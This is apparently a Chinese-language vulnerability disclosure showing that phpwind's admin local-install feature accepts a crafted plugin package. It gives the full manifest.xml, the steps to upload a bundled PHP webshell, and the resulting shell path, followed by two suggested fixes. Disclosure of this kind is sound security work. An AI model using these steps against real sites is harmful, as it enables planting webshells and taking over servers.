后台上传插件处，可以上传一个包含php木马的phpwind标准格式插件安装包，并可getshell.
1.先制作一个安装包，需要包含一个manifest.xml文件和一个php一句话(此处文件名为php.php)。
manifest.xml如下：
<?xml version="1.0" encoding="gbk"?>
<manifest>
<application>
<name>getshell</name>
<alias>getshell</alias>
<version>1.0</version>
<pw-version>1.0</pw-version>
<type>app</type>
<description>getshell
</description>
<charset>gbk</charset>
<website>http://wooyun.org</website>
<author-name>VIP@wooyun</author-name>
<author-email>root@wooyun.org</author-email>
<author-icon>http://wooyun.org</author-icon>
</application>
<res>res</res>
</manifest>
将以上文件打包成zip格式。
2.在后台 云平台-》应用管理-》本地安装处上传制作好的安装包，并点击安装。
3.shell为http://127.0.0.1/phpwind/src/extensions/getshell/php.php
修复方案： 这个修复有点麻烦，我觉得有两种方案。
1.只允许安装应用中心的应用，禁止本地安装；
2.对本地上传的应用进行扫描。
查看更多关于phpwind后台getshell - 网站安全 - 自学php的详细内容...